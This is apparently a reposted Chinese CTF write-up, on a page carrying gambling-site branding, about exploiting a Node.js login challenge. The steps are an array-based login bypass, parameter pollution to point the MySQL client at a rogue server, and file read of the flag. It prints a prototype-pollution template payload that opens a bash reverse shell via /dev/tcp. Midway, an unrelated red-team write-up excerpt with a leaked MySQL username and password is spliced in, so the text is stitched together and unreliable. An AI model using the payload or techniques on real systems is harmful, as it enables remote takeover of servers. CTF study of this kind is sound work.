一道有趣的关于nodejs的ctf题 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

一道有趣的关于nodejs的ctf题

申博_安全防护 申博 40次浏览 已收录 0个评论

首先,出题背景是公司要求我出一道简单的ctf题目,正好我最近在学习nodejs相关的东西,于是我就出了这道题目,题目源码,我已经打包上传到了GitHub上,如果有兴趣,可以下载下来,研究一下

这个题目开局是一个登陆页面

一道有趣的关于nodejs的ctf题

在这里你会想到什么呢?爆破?nononono~
你要想到的是这是一道nodejs的题目啊,js本身就是一种弱类型语言,所以,你可以改变数据类型,来看看它会不会产生非预期的效果,你可以参考我以前翻译的过的文章
https://blog.csdn.net/niexinming/article/details/84889275

这篇文章中就介绍如何通过改变数据类型来绕过登录,所以,这个题目通过如下的方式就可以绕过登录:
首先抓包:
一道有趣的关于nodejs的ctf题

然后,修改用户名密码为数组,因为用户名和密码都是数组的第一个,所以只要把用户名和密码改成
{“user”:[0],”passwd”:[0]},就可以绕过登录
一道有趣的关于nodejs的ctf题

绕过登录之后,发现有一个地址,打开这个地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
发现是nodejs后端的源码:
一道有趣的关于nodejs的ctf题
可以看到这个题目可以通过控制host参数去改变mysql的连接地址,这里有个mysql客户端任意文件读取的问题,可以参考这个文章:https://blog.csdn.net/ls1120704214/article/details/88174003

但是如果直接在json中传递{“host”:””},根本不会有任何效果,因为我在57行写了过滤

if (body.host != undefined) {

如果发现有直接传递进来的host参数,nodejs就报错退出,所以,通过仔细观察源代码,发现这个代码有参数污染问题,关于参数污染,可以参考这篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通过构造如下参数去改变host参数,把host参数变成我们自己mysql服务器的地址
首先,我要先把我服务器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址

一道有趣的关于nodejs的ctf题

然后启动我的这个恶意的mysql服务器:

Vlunstack ATT&CK实战系列——红队实战(三)Writeup

0x00 简介 vlunstack是红日安全团队出品的一个实战环境,本次测试的红日安全 ATT&CK实战系列——红队实战(三)靶场环境下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 这是个黑盒测试,不提供虚拟机密码,得到的信息只有一个: ip:192.168.1.110 经过后续渗透结果发现大致拓扑如下: 0x01 外部打点 首先发现80端口网站是个joomla!,探测了一下版本,发现是3.9.2版本较高 然后扫了下目录,发现存在备份的配置文件configuration.php~ 如上图所示,得到了一个mysql普通数据库用户 testuser cvcvgjASD!@ 然后curl了一下3306,发现开着 然后尝试使用得到的mysql密码来连接 得到了joomla

一道有趣的关于nodejs的ctf题

之后,我把host地址通过参数污染的方式改到我的这台服务器:

一道有趣的关于nodejs的ctf题

发送数据包后,我的服务器中收到了一个请求:

一道有趣的关于nodejs的ctf题

然后,去查看日志,就会看到flag

一道有趣的关于nodejs的ctf题

一个小插曲,因为我刚刚接触nodejs,所以,没有意识到里面其实有很多安全问题,我在出题的过程中错误的使用了nodejs的模板,导致Virink师傅用一个payload就把我的服务器给打下来了(拿下了服务器的控制权),通过跟virink 的交流我也学到了很多东西,最后我兑现了我的承诺,给师傅发了一个大红包

一道有趣的关于nodejs的ctf题

下面是virink的payload,发出来给大家学习

{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}

后来我把这个漏洞修复了,等了两周,再也没有人做出来


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明一道有趣的关于nodejs的ctf题
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址